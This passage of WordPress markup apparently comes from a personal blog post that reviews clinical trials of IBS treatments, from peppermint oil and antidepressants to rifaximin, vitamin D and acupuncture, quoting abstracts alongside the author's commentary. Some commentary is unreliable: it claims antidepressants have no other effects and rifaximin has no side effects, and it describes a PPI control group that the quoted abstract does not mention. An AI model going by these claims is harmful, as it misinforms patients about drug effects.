antispasmodic patients improved compared to 22% of placebo; 4 studies; 586 patients; RR 1.86; 95% CI 1.26 to 2.76; P &lt; 0.01; NNT = 3). Subgroup analyses for different types of antispasmodics found statistically significant benefits for cimteropium/ dicyclomine, peppermint oil, pinaverium and trimebutine. Separate analysis of the studies with adequate allocation concealment found a significant benefit for improvement of abdominal pain.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh5.googleusercontent.com/BkdShau5oAp6vd8zGdnHTfzVSVH6hPYiyRI5-OEWbDr43a1UPFSnj_WpZS1dVWT-w9k39ydZ3KeVsKndvc6XOLssQ_1bl3YZObV3WWH6O8gBMdVYbDpEwhN1owUpUgwQHxNwUD_8\" alt=\"\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.sciencedirect.com/science/article/abs/pii/S1590865807000618\">Peppermint oil (Mintoil®) in the treatment of irritable bowel syndrome: A prospective double blind placebo-controlled randomized trial - ScienceDirect</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>I wanted to look at peppermint oil specifically because that’s what I used to use. It works well according to this study, although note that there’s a rebound between 4 to 8 weeks.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Fifty-seven patients with irritable bowel syndrome according to the Rome II criteria, with normal lactose and lactulose breath tests and negative antibody screening for celiac disease, were treated with peppermint oil (two enteric-coated capsules twice per day or placebo) for 4 weeks in a double blind study. The symptoms were assessed before therapy (T0), after the first 4 weeks of therapy (T4) and 4 weeks after the end of therapy (T8).&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>At T4, 75% of the patients in the peppermint oil group showed a &gt;50% reduction of basal (T0) total irritable bowel syndrome symptoms score compared with 38% in the placebo group (P &lt; 0.009). With peppermint oil at T4 and at T8 compared with T0 a statistically significant reduction of the total irritable bowel syndrome symptoms score was found (T0: 2.19 ± 0.13, T4: 1.07 ± 0.10*, T8: 1.60 ± 0.10*, *P &lt; 0.01 compared with T0, mean ± S.E.M.), while no change was found with the placebo.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.minervamedica.it/en/journals/gazzetta-medica-italiana/article.php?cod=R22Y2005N02A0119\">Efficacy of peppermint oil in the treatment of irritable bowel syndrome: a randomized, controlled trial - Gazzetta Medica Italiana Archivio per le Scienze Mediche 2005 April;164(2):119-26 - Minerva Medica - Journals</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>Another study showing an effect of peppermint oil, but I wonder if there was a rebound here, too.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>We enrolled 178 consecutive patients affected by IBS, according to the Rome II diagnostic criteria. They were randomized by computer-generated lists to receive either Mintoil 2 capsules t.i.d. before meals for 3 months, or a placebo. A validated questionnaire was administered every 3 weeks to measure the outcome. Data were analysed by χ2 test.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Results. Ninety-one patients (22 M, 69 F; mean age 41 yrs; range 18-72 yrs) received Mintoil, and 87 patients (23 M, 64 F; mean age 44 yrs; range 21-74 yrs) assumed the placebo. Three patients withdrew from the study because of non IBS-related diseases, and two patients because of pyrosis. No other adverse events were recorded.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Peppermint oil, compared to placebo, improved IBS overall symptoms in 73/91 (80%) vs 31/87 (36%) patients (p&lt;0.02). Particularly, significant improvements were achieved for gastroenteric symptoms, in 88/91 (97%) vs 29/87 (33%) patients (p&lt;0.01), psychical discomfort, in 34/91 (37%) vs 16/87 (18%) patients (p&lt;0.05), and socio-familiar impact, in 69/91 (76%) vs 37/87 (43%) patients (p&lt;0.04).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":4} -->\n<h4><strong>Discontinuation of proton pump inhibitors</strong></h4>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>This isn’t really an IBS one, but PPIs do lead to SIBO. Discontinuing them may help.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://onlinelibrary.wiley.com/doi/abs/10.1111/j.1365-2362.2010.02419.x\">Effects of long‐term PPI treatment on producing bowel symptoms and SIBO - Compare - 2011 - European Journal of Clinical Investigation - Wiley Online Library</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>I only really wanted one study for this, because it’s pretty well known, but here you go. They gave patients PPI and accidentally gave them IBS. The other patients who weren’t given PPI didn’t get IBS.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Methods Patients with NERD (acid reflux) not complaining of bowel symptoms were selected by upper endoscopy, 24‐h pH‐metry and a structured questionnaire concerning severity and frequency of bloating, flatulence, abdominal pain, diarrhoea and constipation. Patients were treated with esomeprazole 20 mg bid for 6 months. Prior to and after 8 weeks and 6 months of therapy, patients received the structured questionnaire and underwent evaluation of SIBO by glucose hydrogen breath test (GHBT).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Results Forty‐two patients with NERD were selected out of 554 eligible patients. After 8 weeks of PPI treatment, patients complained of bloating, flatulence, abdominal pain and diarrhoea in 43%, 17%, 7% and 2%, respectively. After 6 months, the incidence of bowel symptoms further increased and GHBT (glucose hydrogen breath test) was found positive in 11/42 (26%) patients. By a post hoc analysis, a significant (P &lt; 0·05) percentage of patients (8/42) met Rome III criteria for irritable bowel syndrome.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Antidepressants</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Antidepressants probably make you feel better if you have IBS, in the same way that therapy would. They don’t have any other effects.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://journals.lww.com/ajg/Abstract/2004/05000/Paroxetine_to_Treat_Irritable_Bowel_Syndrome_Not.27.aspx\"><strong>Paroxetine to Treat Irritable Bowel Syndrome Not Responding... : Official journal of the American College of Gastroenterology | ACG (lww.com)</strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>Note that well-being improves with paroxetine, which is an antidepressant, but specific IBS related symptoms do not.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In Group 2, overall well-being improved more with paroxetine than with placebo (63.3%vs 26.3%; p = 0.01), but abdominal pain, bloating, and social functioning did not. With paroxetine, food avoidance decreased (p = 0.03) and work functioning was marginally better (p = 0.08). Before unblinding, more paroxetine recipients than placebo recipients wanted to continue their study medication (84%vs 37%; p &lt; 0.001).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.tandfonline.com/doi/abs/10.3109/00365528209181108\">The Effect of Trimipramine in Patients with the Irritable Bowel Syndrome: A Double-Blind Study: Scandinavian Journal of Gastroenterology: Vol 17, No 7 (tandfonline.com)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This one shows that trimipramine helps when given a bedtime, for both IBS scores and quality of life. However, I’m not entirely sure what this study is measuring, because there’s a lot of vomiting in this study. IBS patients shouldn’t be vomiting.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>&nbsp;61 patients were given either 50 mg trimipramine at bedtime or identically looking coded placebo in a prospective study for 4 weeks. The complaints were graded on an analogue scale by both the patients and the physicians. The results showed that the complaint scores were significantly reduced to about half in the placebo group. In the group treated with trimipramine a significantly greater reduction was found for the scores of vomiting, sleeplessness, depression, and for the mucus content of stools. The scores for tiredness during treatment had decreased less in the group receiving trimipramine than in the one receiving placebo. These improvements occurred already during the first week of treatment.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh6.googleusercontent.com/4TbIAZAW-7T9BTfTM0AGL1OhXZWr1YZXApIxVEpelqmKt5Eol1FxXneuEGV4j7WjjsM7CYqmWMm8qHlFAIvoFHGkx1A_N4AJp0o6mUJC-Qzm6nVIdr-CXRj-q3SWrLnmt-jy0_dW\" alt=\"\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.sciencedirect.com/science/article/abs/pii/S0016508503006693\">Cognitive-behavioral therapy versus education and desipramine versus placebo for moderate to severe functional bowel disorders - ScienceDirect</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This is a fun study which compared therapy vs. desipramine, which is an antidepressant. Therapy came out better than desipramine, desipramine came out kind of better than placebo but it’s hard to tell. This one breaks out the “intention to treat” vs. “per protocol”, which basically means that there were a lot of patients who they intended to treat but didn’t (i.e. they dropped out). Also, if you read between the lines, this sort of detailed “subgroup analysis”, where they try to get really specific about who would benefit from desipramine, is usually an attempt to rescue a study that went poorly so they have to find some benefit somewhere. Not a good study!</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The <a href=\"https://www.sciencedirect.com/topics/medicine-and-dentistry/intention-to-treat-analysis\">intention-to-treat analysis</a> showed CBT as significantly more effective than EDU (<em>P</em> = 0.0001; responder rate, 70% CBT vs. 37% EDU; <a href=\"https://www.sciencedirect.com/topics/medicine-and-dentistry/numbers-needed-to-treat\">number needed to treat</a> [NNT ], 3.1). DES did not show significant benefit over PLA in the intention-to-treat analysis (<em>P</em> = 0.16; responder rate, 60% DES vs. 47% PLA; NNT, 8.1) but did show a statistically significant benefit in the per-protocol analysis (<em>P</em> = 0.01; responder rate, 73% DES vs. 49% PLA; NNT, 5.2), especially when participants with nondetectable blood levels of DES were excluded (<em>P</em> = 0.002). Improvement was best gauged by satisfaction with treatment. Subgroup analyses showed that DES was beneficial over PLA for moderate more than severe symptoms, abuse history, no depression, and diarrhea-predominant symptoms;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://onlinelibrary.wiley.com/doi/full/10.1111/j.1365-2036.2008.03633.x\">Clinical trial: the effect of amitriptyline in patients with diarrhoea‐predominant irritable bowel syndrome - VAHEDI - 2008 - Alimentary Pharmacology &amp;amp; Therapeutics - Wiley Online Library</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This study seems to have a strong effect for low dose amitriptyline, and was overall a well performed study.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Patients were randomly assigned to receive either 10 mg amitriptyline daily or placebo. Subjects were followed up for 2 months and symptoms were assessed using a questionnaire.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Patients receiving amitriptyline showed greater complete response, defined as loss of all symptoms, compared with those receiving placebo (68% vs. 28%, <em>P</em> = 0.01).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh4.googleusercontent.com/jj6ynhnua_NDKcZUNsJY0jfvSwAahDKfLjZX7sAeYtYs5DSjPQbkszEykIhvBDPLXNLIU9YghGdbxXLbDUW-SL0b_WpqW4cArud_Jgb5YNYY9I98QZySQ23TU_zNX5NKUyV_aXJx\" alt=\"\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC2721237/\">A randomized controlled trial of imipramine in patients with irritable bowel syndrome (nih.gov)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This study has a remarkably high dropout rate, and it’s hard to even know what to think. Why did half the study leave?</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>One hundred and seven patients were enrolled by advertisement or referral by general practitioners and 56 (31 imipramine: 25 placebo) completed the 16-wk study. Baseline characteristics were comparable. A high overall dropout rate was noted in the imipramine and placebo arms (47.5% <em>vs</em> 47.9%, <em>P</em> &gt; 0.05), a mean of 25.0 and 37.4 d from enrollment, respectively (<em>P</em> &lt; 0.05). At the end of 12 wk, there was a significant difference in global symptom relief with imipramine over placebo (per-protocol: 80.6% <em>vs</em> 48.0%, <em>P</em> = 0.01) and a trend on intent-to-treat (ITT) analysis (42.4% <em>vs</em> 25.0%, <em>P</em> = 0.06). This improvement was evident early and persisted to week 16 (<em>P</em> = 0.024 and 0.053 by per-protocol and ITT analyses, respectively).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.sciencedirect.com/science/article/abs/pii/S0033318209707649\">A Double-Blind, Randomized, Placebo-Controlled Trial of Paroxetine Controlled-Release in Irritable Bowel Syndrome - ScienceDirect</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This study compared psychotherapy vs. paroxetine vs. routine care. Psychotherapy actually came out on top.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Seventy-two patients with IBS participated in a 12-week, double-blind, randomized, <a href=\"https://www.sciencedirect.com/topics/medicine-and-dentistry/placebo-controlled-study\">placebo-controlled study</a> of paroxetine-CR (12.5 mg–50 mg/day).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In <a href=\"https://www.sciencedirect.com/topics/medicine-and-dentistry/intention-to-treat-analysis\">intent-to-treat</a> analyses, there were no significant differences between paroxetine-CR (N = 36) and placebo (N = 36) on reduction in Composite Pain Scores, although the proportion of responders on CGI–I was significantly higher in the paroxetine-CR group.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Patients with severe IBS were randomly allocated to receive 8 sessions of individual psychotherapy, 20 mg daily of the specific serotonin reuptake inhibitor (SSRI) antidepressant, paroxetine, or routine care by a gastroenterologist and general practitioner.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Both psychotherapy and paroxetine were superior to treatment as usual in improving the physical aspects of health-related quality of life (SF-36 physical component score improvement, 5.2 [SEM, 1.26], 5.8 [SEM, 1.0], and −0.3 [SEM, 1.17]; <em>P</em> &lt; 0.001), but there was no difference in the psychological component. During the follow-up year, psychotherapy but not paroxetine was associated with a significant reduction in health care costs compared with treatment as usual (psychotherapy, $976 [SD, $984]; paroxetine, $1252 [SD, $1616]; and treatment as usual, $1663 [SD, $3177]).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.sciencedirect.com/science/article/abs/pii/S1542356503700391\">The selective serotonin reuptake inhibitor fluoxetine does not change rectal sensitivity and symptoms in patients with irritable bowel syndrome: A double blind, randomized, placebo-controlled study - ScienceDirect</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This study weirdly looked at rectal sensitivity as a measure, as well as pain. It showed fluoxetine helped with pain, but not with any IBS specific measures.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Forty non-depressed IBS patients underwent a rectal <a href=\"https://www.sciencedirect.com/topics/medicine-and-dentistry/barostat\">barostat</a> study to assess the sensitivity to rectal distention before and after 6 weeks of treatment with fluoxetine 20 mg or placebo. Abdominal pain scores, individual <a href=\"https://www.sciencedirect.com/topics/medicine-and-dentistry/gastrointestinal-distress\">gastrointestinal symptoms</a>, global symptom relief, and psychologic symptoms were assessed before and after the intervention</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Fluoxetine did not significantly alter the threshold for discomfort/pain relative to placebo, either in hypersensitive (19 ± 3 vs. 22 ± 2 mm Hg above MDP) or in normosensitive (34 ± 2 vs. 39 ± 4 mm Hg above MDP) IBS patients. Overall, 53% of fluoxetine-treated patients and 76% of placebo-treated patients reported significant abdominal pain scores after 6 weeks (not significant). In contrast, in hypersensitive patients only, fluoxetine significantly reduced the number of patients reporting significant abdominal pain. Gastrointestinal symptoms, global symptom relief, and psychologic symptoms were not altered.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://gut.bmj.com/content/55/8/1095.short\">A controlled crossover study of the selective serotonin reuptake inhibitor citalopram in irritable bowel syndrome | Gut (bmj.com)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This study found an effect of citalopram on pain and bloating, but not really on IBS specific measures.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Twenty three non-depressed IBS patients were recruited from a tertiary care centre and included in a crossover trial comparing six weeks of treatment with the SSRI citalopram (20 mg for three weeks, 40 mg for three weeks) with placebo. IBS symptom severity was the primary outcome measure, and depression and anxiety scores were also measured.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>After three and six weeks of treatment, citalopram significantly improved abdominal pain, bloating, impact of symptoms on daily life, and overall well being compared with placebo. There was only a modest effect on stool pattern.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.sciencedirect.com/science/article/abs/pii/S154235650900891X\">Citalopram Provides Little or No Benefit in Nondepressed Patients With Irritable Bowel Syndrome - ScienceDirect</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This study found no effect of citalopram.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Patients from primary, secondary, and tertiary care settings were randomly assigned to receive citalopram (20 mg/day for 4 weeks, then 40 mg/day for 4 weeks) or placebo in a study with double-masking and concealed allocation. Symptoms were assessed weekly, and IBS-QOL and rectal sensation by barostat were assessed at the beginning and end of the study.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://onlinelibrary.wiley.com/doi/full/10.1111/j.1365-2036.2005.02566.x\">The effect of fluoxetine in patients with pain and constipation‐predominant irritable bowel syndrome: a double‐blind randomized‐controlled study - VAHEDI - 2005 - Alimentary Pharmacology &amp;amp; Therapeutics - Wiley Online Library</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This study found a big effect of fluoxetine on constipation, and seemed well-performed. They didn’t check if their patients were anxious or depressed, though.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Fluoxetine was significantly more effective than placebo in decreasing abdominal discomfort, relieving feeling and sense of bloating, increasing frequency of bowel movements and decreasing consistency of stool. Mean number of symptoms per patient decreased from 4.6 to 0.7 in the fluoxetine group vs. 4.5 to 2.9 in controls (<em>P</em> &lt; 0.001).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://scholar.google.com/scholar_lookup?journal=Digestive+diseases+and+sciences&amp;title=Antidepressant+therapy+(imipramine+and+citalopram)+for+irritable+bowel+syndrome:+a+double-blind,+randomized,+placebo-controlled+trial&amp;author=NJ+Talley&amp;author=JE+Kellow&amp;author=P+Boyce&amp;author=C+Tennant&amp;author=S+Huskic&amp;volume=53&amp;issue=1&amp;publication_year=2008&amp;pages=108-15&amp;pmid=17503182&amp;doi=10.1007/s10620-007-9830-4&amp;\">Talley: Antidepressant therapy (imipramine and citalopram... - Google Scholar</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This study didn’t find any effect for citalopram, but it did find it for imipramine.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Of&nbsp; 51&nbsp; IBS&nbsp; patients&nbsp; randomized,&nbsp; baseline&nbsp; characteristics were comparable among the treatment arms; themajority was diarrhea-predominant. Adequate relief of IBS symptoms&nbsp; (primary&nbsp; endpoint)&nbsp; was&nbsp; similar&nbsp; for&nbsp; each&nbsp; treat-ment arm. Improvements in bowel symptom severity rating for&nbsp; interference&nbsp; (P= 0.05)&nbsp; and&nbsp; distress&nbsp; (P= 0.02)&nbsp; were greater with imipramine versus placebo, but improvements in abdominal &nbsp; pain&nbsp; were not. There &nbsp; was &nbsp; a &nbsp; greater improvement in depression score (P = 0.08) and in the SF-36 Mental Component&nbsp; Score (P= 0.07), with imipramine. Citalopram was not superior to placebo. Approximately 20% of&nbsp; the&nbsp; variance&nbsp; in&nbsp; scores&nbsp; was&nbsp; explained&nbsp; by&nbsp; treatment&nbsp; differences&nbsp; for&nbsp; abdominal&nbsp; pain,&nbsp; bowel&nbsp; symptom&nbsp; severity disability, depression and the mental component of the SF-36.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Rifaximin</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Rifaximin can definitely benefit IBS-D, and may help IBS-C. It doesn’t seem to have any side effects.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC5291563/\">Rifaximin for Irritable Bowel Syndrome (nih.gov)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This is a metastudy of the 4 studies they found that tested rifaximin. Rifaximin came out pretty well.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh5.googleusercontent.com/fVb03CIWGHTEN9MXLF2XWw1hpiKtjoT1YdZ33BJBlz2VXiQ4omkgf6fWUsgbmPkRcyWhEaBcjTBfLViuKO1C0sQjncujoZPFB03SKxVI53c785ZDZS3LhUfJeNkkXre5sqBJK4vL\" alt=\"\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh6.googleusercontent.com/O2cQK6kc7C0Ryx4YJdnK2g8cyt1gy04hVK5HESHprJIUiYMClToNSGqZRURu3IrA185CgEsHkS16ssD3MIns7oOI6SNdkeRULPiEgV-o6R8O2ZnRD2lrzMPQ-yG9hC5JlpGELUrz\" alt=\"\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><strong>Abdominal Pain</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>No significant heterogeneity in the occurrence of abdominal pain during the treatment period was observed between the 3 RCTs in which abdominal pain was reported (<em>I</em>2 = 0%).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Nausea</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>No significant heterogeneity in the occurrence of nausea during the treatment period was observed between the 3 RCTs in which nausea was reported (<em>I</em>2 = 0%).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Vomiting</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>No significant heterogeneity in the occurrence of vomiting during the treatment period was observed between the 3 RCTs in which vomiting was reported (<em>I</em>2 = 0%)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Headache</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>No significant heterogeneity in the occurrence of headache during the treatment period was observed between the 3 RCTs in which headache was reported (<em>I</em>2 = 0%).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Vitamin D</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Very high doses of vitamin D every 2 weeks probably improve IBS symptoms.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://onlinelibrary.wiley.com/doi/abs/10.1111/nmo.12851\"><strong>Effect of vitamin D on gastrointestinal symptoms and health‐related quality of life in irritable bowel syndrome patients: a randomized double‐blind clinical trial - Abbasnezhad - 2016 - Neurogastroenterology &amp;amp; Motility - Wiley Online Library</strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>I like this one because it’s actually long term. It shows remarkably big effects, too.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A total of 90 IBS patients participated in this double‐blind, randomized, placebo‐controlled study. Participants were randomly selected to receive either 50 000 IU vitamin D3 or a placebo fortnightly for a period of 6 months. Patients reported their IBS symptoms at the baseline and monthly during intervention periods</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Over the 6‐month intervention period, a significantly greater improvement in IBS symptoms such as abdominal pain and distention, flatulence, rumbling, and overall gastrointestinal (GI) symptoms (except dissatisfaction with bowel habits) was observed in the patients receiving vitamin D as compared to the placebo group. The IBSSS and the IBS‐QoL scores in the vitamin D group significantly improved compared to the placebo group postintervention (mean IBSSS score change: −53.82 ± 23.3 <em>vs</em> −16.85 ± 25.01, <em>p</em> &lt; 0.001, respectively; mean IBS‐QoL score change: 14.26 ± 3 <em>vs</em> 11 ± 2.34, <em>p</em> &lt; 0.001, respectively).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://journals.plos.org/plosone/article?id=10.1371/journal.pone.0158545\">Co-Administration of Soy Isoflavones and Vitamin D in Management of Irritable Bowel Disease (plos.org)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This one also tests isoflavones, and seems to find a bigger effect of soy isoflavones than vitamin D, although both have an effect. It was only for 6 weeks, though. Also, the groups seem really poorly assigned: the before scores are all over the place.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In a factorial blinded randomized clinical trial, 100 women with IBS (age:18-75yr, were randomly assigned in 4 arms to receive either placebo of vitamin D and placebo of soy isoflavones (P+P), or placebo of vitamin D and soy isoflavones (P+S), or vitamin D and placebo of soy isoflavones (D+P), or vitamin D and soy isoflavones (D+S) for 6 weeks. Dosage of soy isoflavone was 2 capsules of 20 mg soy isoflavones per day, and dosage of vitamin D was one pearl of 50’000 IU biweekly. The clinical outcomes were IBS symptoms severity scores (IBS-SSS), disease- specific quality of life (IBS-QOL) and total score (IBS-TS) that evaluated at weeks 0, 6, and 10, and compared to each other.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh6.googleusercontent.com/3kC-UPQilx1ay5tWQbbPZvLJXsM5BFWne2W6gcxkE6bY9TFqss83v7RvEkLiSlGqS1PYfpa-bCsHTQm5VgOgzcfDSDErjjBYN7FuWFYm6SWeuEUjXW2xTWRcKq-tWeXVR2MUgOyi\" alt=\"\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh5.googleusercontent.com/3O_uEfVZsAkC3sARQuSFvgklEkbx-okq5onFxlFs2rfyACX7-J8MppqULeG8w2wWByw2bknhPu67PvGwdOz5zSv2fcl1UT3g11ySBmO_UXzUlgzEzWDKc3Tpl4TvHIaz93UJ18UW\" alt=\"\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><strong>Soy isoflavones</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Soy isoflavones may improve IBS, but it’s hard to tell.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC4560632/\">Soy Isoflavones Supplementation for Patients with Irritable Bowel Syndrome: A Randomized Double Blind Clinical Trial (nih.gov)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This is just testing soy isoflavones. It’s really hard to tell what’s going on here, as either the soy isoflavones did show some amount of improvement that was almost significant (p value of 0.068), or they actually made things worse.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In a randomized double blind placebo-controlled clinical trial, 67 patients with IBS were allocated to consume either soy isoflavones capsules or a placebo for 6 weeks. The primary outcome was a significant reduction in symptoms severity score and the secondary outcome was a significant improvement in quality of life.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>45 participants completed the study. There was no significant changes in mean differences of symptoms severity score between the two groups; however soy isoflavone supplementation could significantly improve the quality of life scores (<em>p</em>=0.009).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh4.googleusercontent.com/Gwt0z67QCnAeyoz2MSiLwj_7d_nkS1t1oHpoxr269unsANIrqP5lImRD2n8K2y9QsVfOg2hO-jliOT4Hb8eLrj1WtZZ_h9_WoyvQEmI-3THmYjwkY-Exaqpb65XsOrDOQOFfPjpO\" alt=\"\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><strong>Acupuncture</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Acupuncture probably doesn’t work better than fake acupuncture.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC3718572/\">Acupuncture for treatment of irritable bowel syndrome (nih.gov)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This one seems self-explanatory. Also, I’m biased against acupuncture.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>We found no evidence of an improvement with acupuncture relative to sham (placebo) acupuncture for symptom severity (SMD-0.11, 95%CI −0.35 to 0.13; 4 RCTs; 281 patients) or quality of life (SMD = −0.03, 95%CI −0.27 to 0.22; 3 RCTs; 253 patients).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Probiotics</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Probiotics may help a little bit but it’s hard to tell. This is compounded by the fact that how probiotics are stored and processed matters a lot to whether they survive all the way to colonize your digestive tract.</p>\n<!-- 